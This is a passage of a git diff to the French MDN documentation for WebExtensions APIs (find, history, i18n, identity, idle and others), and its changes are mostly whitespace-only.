Si une erreur survient lors de la connexion à l'extension, le rappel sera appelé sans arguments et {{WebExtAPIRef('runtime.lastError')}} sera défini sur le message d'erreur. + - : `any`. Objet de réponse JSON envoyé par le gestionnaire de la requête. Si une erreur survient lors de la connexion à l'extension, le rappel sera appelé sans arguments et {{WebExtAPIRef('runtime.lastError')}} sera défini sur le message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/imagedetails/index.md b/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/imagedetails/index.md index 570c6136a6..fa2dd474c3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/imagedetails/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/imagedetails/index.md @@ -24,7 +24,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `format`{{optional_inline}} - : {{WebExtAPIRef('extensionTypes.ImageFormat')}}. Le format du résultat de l'image. Par défaut est `"png"`. - `quality`{{optional_inline}} - - : `integer`. Quand le format est `"jpeg"`, cela controle la qualité du résultat de l'image. C'est un nombre compris entre 0 et 100, qui est converti en une valeur entre 0 et 1 puis utilisé comme argument `encoderOptions` sur [`HTMLCanvasElement.toDataURL()`](/fr/docs/Web/API/HTMLCanvasElement/toDataURL). Si c'est choisi, 92 est utilisé. A mesure que la qualité baisse, le résultat de l'image aura plus d'artefacts visuel, et le nombre d'octets nécessaires pour le stocker diminuera. Cette valeur est ignorée pour les images PNG. + - : `integer`. Quand le format est `"jpeg"`, cela controle la qualité du résultat de l'image. C'est un nombre compris entre 0 et 100, qui est converti en une valeur entre 0 et 1 puis utilisé comme argument `encoderOptions` sur [`HTMLCanvasElement.toDataURL()`](/fr/docs/Web/API/HTMLCanvasElement/toDataURL). Si c'est choisi, 92 est utilisé. A mesure que la qualité baisse, le résultat de l'image aura plus d'artefacts visuel, et le nombre d'octets nécessaires pour le stocker diminuera. Cette valeur est ignorée pour les images PNG. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/runat/index.md b/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/runat/index.md index 81889451c1..2a3998441c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/runat/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/extensiontypes/runat/index.md @@ -23,7 +23,7 @@ Les valeurs de ce type sont des chaines. Les valeurs possibles sont : `"document - `"document_start"`: corresponds au `chargement`. Le DOM est toujours en cours de chargement. - `"document_end"`: corresponds à l'`interactif`. Le DOM a fini de charger, mais des ressources telles que des scripts et des images peuvent toujours être en cours de chargement. -- `"document_idle"`: corresponds à `complete`. Le document et toutes ses ressources ont terminé le changement. +- `"document_idle"`: corresponds à `complete`. Le document et toutes ses ressources ont terminé le changement. La valeur par défaut est `"document_idle"`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/find/find/index.md b/files/fr/mozilla/add-ons/webextensions/api/find/find/index.md index 42662b9253..8288719511 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/find/find/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/find/find/index.md @@ -19,7 +19,7 @@ Vous pouvez utiliser cette fonction pour rechercher des pages Web HTTP(S) normal Vous pouvez rendre la recherche sensible à la casse et la faire correspondre uniquement à des mots entiers. -Par défaut, la fonction renvoie juste le nombre de correspondances trouvées. En transmettant les options `includeRangeData` et `includeRectData`, vous pouvez obtenir plus d'informations sur l'emplacement des correspondances dans l'onglet cible. +Par défaut, la fonction renvoie juste le nombre de correspondances trouvées. En transmettant les options `includeRangeData` et `includeRectData`, vous pouvez obtenir plus d'informations sur l'emplacement des correspondances dans l'onglet cible. Cette fonction stocke les résultats en interne, donc la prochaine fois qu'une extension appelle {{WebExtAPIRef("find.highlightResults()")}}, alors les résultats de cet appel _find_ seront mis en surbrillance, jusqu'à ce que quelqu'un appelle `find()`. @@ -45,7 +45,7 @@ browser.find.find( - `tabId` - : `integer`. ID de l'onglet à rechercher. Par défaut à l'onglet actif - `caseSensitive` - - : `boolean`. Si true, la recherche est sensible à la casse. Par défault à `false`. + - : `boolean`. Si true, la recherche est sensible à la casse. Par défault à `false`. - `entireWord` - : `boolean`. Comparaison seulement entre les mots entiers : ainsi "Tok" ne sera pas comparé dans "Tokyo". Par défaut à `false`. - `includeRangeData` @@ -61,14 +61,14 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se - : `integer`. Le nombre de résultat trouvés. - `rangeData`{{optional_inline}} - - : `array`. Si `includeRangeData` a été donné dans le paramètre `options`, cette propriété sera incluse. Il est fourni sous la forme d'un tableau d'objets `RangeData`, un pour chaque correspondance. Chaque objet `RangeData` décrit où la correspondance a été trouvée dans l'arborescence DOM. Cela permettrait, par exemple, une extension pour obtenir le texte entourant chaque correspondance, afin d'afficher le contexte pour les correspondances. + - : `array`. Si `includeRangeData` a été donné dans le paramètre `options`, cette propriété sera incluse. Il est fourni sous la forme d'un tableau d'objets `RangeData`, un pour chaque correspondance. Chaque objet `RangeData` décrit où la correspondance a été trouvée dans l'arborescence DOM. Cela permettrait, par exemple, une extension pour obtenir le texte entourant chaque correspondance, afin d'afficher le contexte pour les correspondances. - Les élements correspondent aux éléments données dans `rectData`, donc `rangeData[i]` décrit la même correspondance que `rectData[i]`. + Les élements correspondent aux éléments données dans `rectData`, donc `rangeData[i]` décrit la même correspondance que `rectData[i]`. Chaque `RangeData` contient les propriétés suivantes : - `framePos` - - : L'index de l'image contenant la correspondance. 0 correspond à une fenêtre parente. Notez que l'ordre des objets dans un tableau `rangeData` s'alignera séquentiellement avec l'ordre des index d'images : par exemple, `framePos` pour la première séquence d'objets `rangeData` sera 0, `framePos` pour la séquence suivante sera 1, et ainsi de suite. + - : L'index de l'image contenant la correspondance. 0 correspond à une fenêtre parente. Notez que l'ordre des objets dans un tableau `rangeData` s'alignera séquentiellement avec l'ordre des index d'images : par exemple, `framePos` pour la première séquence d'objets `rangeData` sera 0, `framePos` pour la séquence suivante sera 1, et ainsi de suite. - `startTextNodePos` - : La position ordinale du noeud de texte dans lequel la correspondance a démarrée. - `endTextNodePos` @@ -89,7 +89,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se - : Un objet contenant deux propriétés, les deux tableaux : - `rectList`: un tableau d'objets ayant chacun quatre propriétés entières : `top`, `left`, `bottom`, `right`. Ceux-ci décrivent un rectangle par rapport à la partie supérieure gauche de la fenêtre. - - `textList`: un tableau de chaînes, correspondant au tableau `rectList`. L'entrée de `textList[i]` contient la partie du match délimitée par le rectangle de `rectList[i]`. + - `textList`: un tableau de chaînes, correspondant au tableau `rectList`. L'entrée de `textList[i]` contient la partie du match délimitée par le rectangle de `rectList[i]`. Par exemple, considérons une partie d'une page Web qui ressemble à ceci : @@ -124,7 +124,7 @@ function found(results) { browser.find.find("banana").then(found); ``` -Rechercher "banana" dans tous les onglets (notez que cela nécessite la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "tabs", car il accède à `tab.url`): +Rechercher "banana" dans tous les onglets (notez que cela nécessite la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "tabs", car il accède à `tab.url`): ```js async function findInAllTabs(allTabs) { @@ -139,7 +139,7 @@ browser.tabs.query({}).then(findInAllTabs); ### Utilisation de rangeData -Dans cet exemple, l'extension utilise `rangeData` pour obtenir le contexte dans lequel la correspondance a été trouvée. Le contexte est le `textContent` complet du noeud dans lequel la correspondance a été trouvée. Si la correspondance s'étend sur des noeuds, le contexte est la concaténation du `textContent` de tous les noeuds étendus. +Dans cet exemple, l'extension utilise `rangeData` pour obtenir le contexte dans lequel la correspondance a été trouvée. Le contexte est le `textContent` complet du noeud dans lequel la correspondance a été trouvée. Si la correspondance s'étend sur des noeuds, le contexte est la concaténation du `textContent` de tous les noeuds étendus. Notez que pour des raisons de simplicité, cet exemple ne gère pas les pages contenant des cadres. Pour cela, vous devez divisez `rangeData` en groupes, un par frame, et executer le script dans chaque image. diff --git a/files/fr/mozilla/add-ons/webextensions/api/find/highlightresults/index.md b/files/fr/mozilla/add-ons/webextensions/api/find/highlightresults/index.md index 8a066d2c7f..6e485cedba 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/find/highlightresults/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/find/highlightresults/index.md @@ -18,7 +18,7 @@ Souligne les résultats d'un précédent appel à {{WebExtAPIRef("find.find()")} Lorsqu'une extension appelle `find()`, les correspondances ne sont pas automatiquement mises en surbrillance, mais elles sont stockées par le navigateur. Appelez `highlightResults()` pour les mettre en surbrillance. -Notez que les résultats stockés sont globaux pour toutes les extensions, par exemple, si l'extension appelle `find("apple")`, alors si l'extensions B appelle `find("banana")`, alors si l'extensions A appelle `highlightResults()`, le résultat pour "banana" sera mis en évidence. +Notez que les résultats stockés sont globaux pour toutes les extensions, par exemple, si l'extension appelle `find("apple")`, alors si l'extensions B appelle `find("banana")`, alors si l'extensions A appelle `highlightResults()`, le résultat pour "banana" sera mis en évidence. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/addurl/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/addurl/index.md index 9620adfc7c..effb7be1bc 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/addurl/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/addurl/index.md @@ -40,7 +40,7 @@ var addingUrl = browser.history.addUrl( - `transition`{{optional_inline}} - : {{WebExtAPIRef("history.TransitionType")}}. Décrit comment le navigateur a navigué vers la page à cette occasion. Si ce n'est pas fourni, un type de transition de "lien" sera enregistré. - `visitTime`{{optional_inline}} - - : `number` ou `string` ou `object`. Cela peut être représenté par: un objet [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), une [chaîne de date ISO 8601](http://www.iso.org/iso/home/standards/iso8601.htm), ou le nombre de millisecondes depuis l'époque. Définit le temps de visite à cette valeur. Si ce n'est pas fourni, l'heure actuelle sera enregistrée. + - : `number` ou `string` ou `object`. Cela peut être représenté par: un objet [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), une [chaîne de date ISO 8601](http://www.iso.org/iso/home/standards/iso8601.htm), ou le nombre de millisecondes depuis l'époque. Définit le temps de visite à cette valeur. Si ce n'est pas fourni, l'heure actuelle sera enregistrée. ### Valeur retournée @@ -75,7 +75,7 @@ var addingUrl = browser.history.addUrl({url: "https://example.org/"}); addingUrl.then(onAdded); ``` -Ajouter un enregistrement d'une visite à "https\://example.org", mais lui donner une `visitTime` de 24 heures dans le passé, et une `transition` "typed": +Ajouter un enregistrement d'une visite à "https\://example.org", mais lui donner une `visitTime` de 24 heures dans le passé, et une `transition` "typed": ```js const DAY = 24 * 60* 60 * 1000; diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/deleteall/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/deleteall/index.md index 7e110263f5..5173b2c7c1 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/deleteall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/deleteall/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/history/deleteAll Supprime toutes les visites de l'historique du navigateur. -Cette fonction déclenche {{WebExtAPIRef("history.onVisitRemoved")}} une seule fois, avec `allHistory` défini sur `true` et un argument `urls` vide. +Cette fonction déclenche {{WebExtAPIRef("history.onVisitRemoved")}} une seule fois, avec `allHistory` défini sur `true` et un argument `urls` vide. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/index.md index ffeb70276d..8918df9089 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/index.md @@ -32,7 +32,7 @@ Cependant, l'utilisateur peut avoir visité une seule page, plusieurs fois, de s - [Récupérer l'ensemble des visites effectuées par l'utilisateur sur une page particulière](/fr/Add-ons/WebExtensions/API/history/getVisits) - [Supprimer les visites à toutes les pages faites pendant une période de temps](/fr/Add-ons/WebExtensions/API/history/deleteRange). -Pour utiliser cette API, une extension doit demander la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "history" dans le fichier [`manifest.json`](/fr/Add-ons/WebExtensions/manifest.json). +Pour utiliser cette API, une extension doit demander la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "history" dans le fichier [`manifest.json`](/fr/Add-ons/WebExtensions/manifest.json). ## Types diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/ontitlechanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/ontitlechanged/index.md index 5371ad6a99..48d8c82356 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/ontitlechanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/ontitlechanged/index.md @@ -26,7 +26,7 @@ Les événements ont trois fonctions : - `addListener(listener)` - : Ajoute un écouteur à cet événement. - `removeListener(listener)` - - : Arrêtez d'écouter cet événement. L'argument `listener` argument est l'écouteur à supprimer + - : Arrêtez d'écouter cet événement. L'argument `listener` argument est l'écouteur à supprimer - `hasListener(listener)` - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/onvisited/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/onvisited/index.md index a5c16a414b..ffe8179d2f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/onvisited/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/onvisited/index.md @@ -46,7 +46,7 @@ Les événements ont trois fonctions : - : {{WebExtAPIRef('history.HistoryItem')}}. Un objet représentant l'élément dans l'historique du navigateur. - Au moment où cet événement est envoyé, le navigateur ne connaît pas encore le titre de la page. Si le navigateur a déjà visité cette page et s'est souvenu de son ancien titre, l'objet `HistoryItem.title` contiendra l'ancien titre de la page. Si le navigateur n'a pas d'enregistrement de l'ancien titre de la page, alors `HistoryItem.title` sera vide. Pour obtenir les titres des pages dès qu'ils sont connus, écoutez {{WebExtAPIRef("history.onTitleChanged")}}. + Au moment où cet événement est envoyé, le navigateur ne connaît pas encore le titre de la page. Si le navigateur a déjà visité cette page et s'est souvenu de son ancien titre, l'objet `HistoryItem.title` contiendra l'ancien titre de la page. Si le navigateur n'a pas d'enregistrement de l'ancien titre de la page, alors `HistoryItem.title` sera vide. Pour obtenir les titres des pages dès qu'ils sont connus, écoutez {{WebExtAPIRef("history.onTitleChanged")}}. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/onvisitremoved/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/onvisitremoved/index.md index 14317d8a5c..3397d40137 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/onvisitremoved/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/onvisitremoved/index.md @@ -51,7 +51,7 @@ Les événements ont trois fonctions: - : `object`. Détails de l'enlèvement. C'est un objet contenant deux propriétés: un booléen `allHistory` et un tableau `urls`. - Si cet événement se déclenche parce qu'il est clair, `allHistory` sera `true` et `urls` sera un tableau vide. - - Dans le cas contraire, `allHistory` sera `false` et `urls` contiendront un qui est l'URL de la page supprimée. + - Dans le cas contraire, `allHistory` sera `false` et `urls` contiendront un qui est l'URL de la page supprimée. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/history/search/index.md b/files/fr/mozilla/add-ons/webextensions/api/history/search/index.md index 4ed3e94435..ad6091a6dd 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/history/search/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/history/search/index.md @@ -52,11 +52,11 @@ var searching = browser.history.search( Spécifiez une chaîne vide (`""`) pour récupérer tous les objets {{WebExtAPIRef("history.HistoryItem")}} qui répondent à tous les autres critères. - `startTime` {{optional_inline}} - - : `number` ou `string` ou `object`. Une valeur indiquant une date et une heure. Cela peut être représenté par : un objet [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), une [chaîne de date ISO 8601](http://www.iso.org/iso/home/standards/iso8601.htm), ou le nombre de millisecondes depuis l'époque. Si elle est fournie, cette option exclut les résultats dont `lastVisitTime` est antérieure à cette heure. Si elle est omise, la recherche est limitée aux dernières 24 heures. + - : `number` ou `string` ou `object`. Une valeur indiquant une date et une heure. Cela peut être représenté par : un objet [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), une [chaîne de date ISO 8601](http://www.iso.org/iso/home/standards/iso8601.htm), ou le nombre de millisecondes depuis l'époque. Si elle est fournie, cette option exclut les résultats dont `lastVisitTime` est antérieure à cette heure. Si elle est omise, la recherche est limitée aux dernières 24 heures. - `endTime` {{optional_inline}} - - : `number` ou `string` ou `object`. Une valeur indiquant une date et une heure. Cela peut être représenté par : un objet [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), une [chaîne de date ISO 8601](http://www.iso.org/iso/home/standards/iso8601.htm), ou le nombre de millisecondes depuis l'époque. Si elle est fournie, cette option exclut les résultats dont `lastVisitTime` est postérieur à cette fois. Si elle est omise, toutes les entrées sont prises en compte à partir de l'heure de début. + - : `number` ou `string` ou `object`. Une valeur indiquant une date et une heure. Cela peut être représenté par : un objet [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), une [chaîne de date ISO 8601](http://www.iso.org/iso/home/standards/iso8601.htm), ou le nombre de millisecondes depuis l'époque. Si elle est fournie, cette option exclut les résultats dont `lastVisitTime` est postérieur à cette fois. Si elle est omise, toutes les entrées sont prises en compte à partir de l'heure de début. - `maxResults` {{optional_inline}} - - : `number`. Le nombre maximum de résultats à récupérer. La valeur par défaut est 100, avec une valeur minimale de 1. La fonction renvoie une erreur si vous lui transmettez une valeur `maxResults` inférieure à 1. + - : `number`. Le nombre maximum de résultats à récupérer. La valeur par défaut est 100, avec une valeur minimale de 1. La fonction renvoie une erreur si vous lui transmettez une valeur `maxResults` inférieure à 1. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/i18n/detectlanguage/index.md b/files/fr/mozilla/add-ons/webextensions/api/i18n/detectlanguage/index.md index 6edad6a096..e4b7ace465 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/i18n/detectlanguage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/i18n/detectlanguage/index.md @@ -55,7 +55,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ```js function onLanguageDetected(langInfo) { - for (lang of langInfo.languages) { + for (lang of langInfo.languages) { console.log("Le langage est : " + lang.language); console.log("Le pourcentage est : " + lang.percentage); } diff --git a/files/fr/mozilla/add-ons/webextensions/api/i18n/getacceptlanguages/index.md b/files/fr/mozilla/add-ons/webextensions/api/i18n/getacceptlanguages/index.md index af88a78ce8..73b3ae63e5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/i18n/getacceptlanguages/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/i18n/getacceptlanguages/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/i18n/getAcceptLanguages --- {{AddonSidebar()}} -Obtient les [accept-languages](/fr/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header) du navigateur. Ceci est différent des paramètres régionaux utilisés par le navigateur. Pour obtenir les paramètres régionaux, utilisez {{WebExtAPIRef('i18n.getUILanguage')}}. +Obtient les [accept-languages](/fr/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header) du navigateur. Ceci est différent des paramètres régionaux utilisés par le navigateur. Pour obtenir les paramètres régionaux, utilisez {{WebExtAPIRef('i18n.getUILanguage')}}. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/i18n/getuilanguage/index.md b/files/fr/mozilla/add-ons/webextensions/api/i18n/getuilanguage/index.md index 6ed82bfc4c..62630f52d5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/i18n/getuilanguage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/i18n/getuilanguage/index.md @@ -29,7 +29,7 @@ Aucun ### Valeur retournée -`string`. Le code de langue de l'interface utilisateur du navigateur en tant que {{WebExtAPIRef("i18n.LanguageCode")}}. +`string`. Le code de langue de l'interface utilisateur du navigateur en tant que {{WebExtAPIRef("i18n.LanguageCode")}}. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/i18n/index.md b/files/fr/mozilla/add-ons/webextensions/api/i18n/index.md index 6ef39f9e2b..ae6f81e632 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/i18n/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/i18n/index.md @@ -29,11 +29,11 @@ Pour plus de détails sur l'utilisation de i18n pour votre extension, voir : ## Fonctions - {{WebExtAPIRef("i18n.getAcceptLanguages()")}} - - : Obtient les [accept-languages](/fr/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header) du navigateur. Ceci est différent des paramètres régionaux utilisés par le navigateur. Pour obtenir les paramètres régionaux, utilisez {{WebExtAPIRef('i18n.getUILanguage')}}. + - : Obtient les [accept-languages](/fr/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header) du navigateur. Ceci est différent des paramètres régionaux utilisés par le navigateur. Pour obtenir les paramètres régionaux, utilisez {{WebExtAPIRef('i18n.getUILanguage')}}. - {{WebExtAPIRef("i18n.getMessage()")}} - : Obtient la chaîne localisée pour le message spécifié. - {{WebExtAPIRef("i18n.getUILanguage()")}} - - : Obtient la langue de l'interface utilisateur du navigateur. Ceci est différent de {{WebExtAPIRef('i18n.getAcceptLanguages')}} qui renvoie les langues utilisateur préférées. + - : Obtient la langue de l'interface utilisateur du navigateur. Ceci est différent de {{WebExtAPIRef('i18n.getAcceptLanguages')}} qui renvoie les langues utilisateur préférées. - {{WebExtAPIRef("i18n.detectLanguage()")}} - : Détecte la langue du texte fourni en utilisant le [détecteur de langue compact](https://github.com/CLD2Owners/cld2). diff --git a/files/fr/mozilla/add-ons/webextensions/api/i18n/locale-specific_message_reference/index.md b/files/fr/mozilla/add-ons/webextensions/api/i18n/locale-specific_message_reference/index.md index 059205a76f..62eabd6c3a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/i18n/locale-specific_message_reference/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/i18n/locale-specific_message_reference/index.md @@ -85,9 +85,9 @@ Au moins, cette propriété doit être définie pour chaque chaîne. Le membre ` Autres points à noter : - Tout nombre de signes dollar consécutifs apparaissant dans les chaînes est remplacé par le même nombre de signes dollar moins un. donc, $$ > $, $$$ > $$, etc. -- Lorsque le fichier de paramètres régionaux est lu, les jetons correspondant à `/\$([a-z0-9_@]+)\$/i` sont remplacés par la valeur correspondante de l'objet "placeholders" de la chaîne. Ces substitutions se produisent avant le traitement des `/\$\d/` jetons dans le message. +- Lorsque le fichier de paramètres régionaux est lu, les jetons correspondant à `/\$([a-z0-9_@]+)\$/i` sont remplacés par la valeur correspondante de l'objet "placeholders" de la chaîne. Ces substitutions se produisent avant le traitement des `/\$\d/` jetons dans le message. - Lorsqu'une chaîne locale est utilisée, les jetons correspondant à `/\$\d+/` sont remplacés par les remplacements passés à {{WebExtAPIRef("i18n.getMessage()")}}. -- `getMessage()` ne traitera pas les appels avec plus de 9 placeholders/substitutions. +- `getMessage()` ne traitera pas les appels avec plus de 9 placeholders/substitutions. ### description @@ -116,7 +116,7 @@ Le nom de l'espace réservé est utilisé pour représenter l'espace réservé d #### contenu -L'élément "contenu" définit le contenu de l'espace réservé. Cela peut être une chaîne codée en dur, telle que "My placeholder", mais elle peut également inclure des valeurs obtenues à partir d'un appel {{WebExtAPIRef("i18n.getMessage()")}}. Cette propriété est obligatoire Pour plus d'informations, voir [Récupération des chaînes de messages à partir de Javascript](/fr/Add-ons/WebExtensions/Internationalization#Retrieving_message_strings_from_JavaScript). +L'élément "contenu" définit le contenu de l'espace réservé. Cela peut être une chaîne codée en dur, telle que "My placeholder", mais elle peut également inclure des valeurs obtenues à partir d'un appel {{WebExtAPIRef("i18n.getMessage()")}}. Cette propriété est obligatoire Pour plus d'informations, voir [Récupération des chaînes de messages à partir de Javascript](/fr/Add-ons/WebExtensions/Internationalization#Retrieving_message_strings_from_JavaScript). #### exemple diff --git a/files/fr/mozilla/add-ons/webextensions/api/identity/index.md b/files/fr/mozilla/add-ons/webextensions/api/identity/index.md index 8d7f8fd95f..6482fea49e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/identity/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/identity/index.md @@ -23,7 +23,7 @@ L'API d'identité fournit la fonction {{WebExtAPIRef("identity.launchWebAuthFlow L'extension termine alors le flux OAuth2 pour obtenir un jeton d'accès validé, et peut ensuite l'utiliser dans les requêtes HTTP pour accéder aux données de l'utilisateur en fonction de l'autorisation donnée par l'utilisateur. -Pour utiliser cette API, vous devez posséder la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "identity" +Pour utiliser cette API, vous devez posséder la [permission de l'API](/fr/Add-ons/WebExtensions/manifest.json/permissions#API_permissions) "identity" ## Installer @@ -35,7 +35,7 @@ L'[URL de redirection](https://www.oauth.com/oauth2-servers/redirect-uris/) repr Vous pouvez obtenir une URL de redirection en appelant {{WebExtAPIRef("identity.getRedirectURL()")}}. Cette fonction dérive une URL de redirection à partir de l'ID du module, donc si vous voulez l'utiliser, vous devez probablement définir explicitement l'ID de votre module en utilisant la clé des [`applications`](/fr/Add-ons/WebExtensions/manifest.json/applications) (sinon, chaque fois que vous [installez temporairement le module complémentaire](/fr/Add-ons/WebExtensions/Temporary_Installation_in_Firefox), vous obtiendrez une URL de redirection différente). -Vous n'avez pas besoin d'utiliser l'URL de redirection retournée par `identity.getRedirectURL()`: vous pouvez fournir la vôtre, et cela peut être tout ce que le service redirigera. Cependant, il devrait utiliser un domaine que vous contrôlez. +Vous n'avez pas besoin d'utiliser l'URL de redirection retournée par `identity.getRedirectURL()`: vous pouvez fournir la vôtre, et cela peut être tout ce que le service redirigera. Cependant, il devrait utiliser un domaine que vous contrôlez. Vous utiliserez l'URL de redirection à deux endroits : @@ -46,7 +46,7 @@ Vous utiliserez l'URL de redirection à deux endroits : Avant de pouvoir utiliser OAuth2 avec un fournisseur de services, vous devez enregistrer l'extension auprès du fournisseur en tant que client OAuth2. -Cela aura tendance à être spécifique au fournisseur de services, mais en général cela signifie créer une entrée pour votre extension sur le site Web du fournisseur. Dans ce processus, vous fournirez votre URL de redirection, et recevrez un identifiant de client (et parfois aussi un secret). Vous devrez passer les deux dans {{WebExtAPIRef("identity.launchWebAuthFlow()")}}. +Cela aura tendance à être spécifique au fournisseur de services, mais en général cela signifie créer une entrée pour votre extension sur le site Web du fournisseur. Dans ce processus, vous fournirez votre URL de redirection, et recevrez un identifiant de client (et parfois aussi un secret). Vous devrez passer les deux dans {{WebExtAPIRef("identity.launchWebAuthFlow()")}}. ## Fonctions diff --git a/files/fr/mozilla/add-ons/webextensions/api/identity/launchwebauthflow/index.md b/files/fr/mozilla/add-ons/webextensions/api/identity/launchwebauthflow/index.md index dc729041af..be752f2ad4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/identity/launchwebauthflow/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/identity/launchwebauthflow/index.md @@ -23,7 +23,7 @@ Le seul paramètre obligatoire de cette fonction est l'URL d'autorisation du fou Notez que si aucune authentification ou autorisation n'est nécessaire, cette fonction se terminera silencieusement, sans interaction de l'utilisateur. -Cette fonction prend également un paramètre facultatif `interactif`: si cette valeur est omise ou définie sur false, le flux est forcé de se terminer en mode silencieux. Dans ce cas, si l'utilisateur doit s'authentifier ou autoriser, l'opération échouera tout simplement. +Cette fonction prend également un paramètre facultatif `interactif`: si cette valeur est omise ou définie sur false, le flux est forcé de se terminer en mode silencieux. Dans ce cas, si l'utilisateur doit s'authentifier ou autoriser, l'opération échouera tout simplement. Cette fonction renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise): si l'authentification et l'autorisation ont abouti, la promesse est remplie avec une URL de redirection contenant un certain nombre de paramètres d'URL. En fonction du flux OAuth2 implémenté par le fournisseur de services en question, l'extension devra passer par d'autres étapes pour obtenir un code d'accès valide, qu'elle pourra ensuite utiliser pour accéder aux données de l'utilisateur. @@ -76,7 +76,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Si l' ## Exemples -Cette fonction autorise une extension des données Google d'un utilisateur, conformément à la documentation disponible à l'adresse <https://developers.google.com/identity/protocols/OAuth2UserAgent>. La validation du jeton d'accès renvoyé n'est pas affichée ici : +Cette fonction autorise une extension des données Google d'un utilisateur, conformément à la documentation disponible à l'adresse <https://developers.google.com/identity/protocols/OAuth2UserAgent>. La validation du jeton d'accès renvoyé n'est pas affichée ici : ```js function validate(redirectURL) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/idle/index.md b/files/fr/mozilla/add-ons/webextensions/api/idle/index.md index 4417617bd0..4e75d22303 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/idle/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/idle/index.md @@ -28,7 +28,7 @@ Pour utiliser cette API, vous disposez de la [permission](/fr/Add-ons/WebExtensi - {{WebExtAPIRef("idle.queryState()")}} - : Renvoie `"locked"` si le système est verrouillé, `"idle"` si l'utilisateur n'a généré aucune entrée 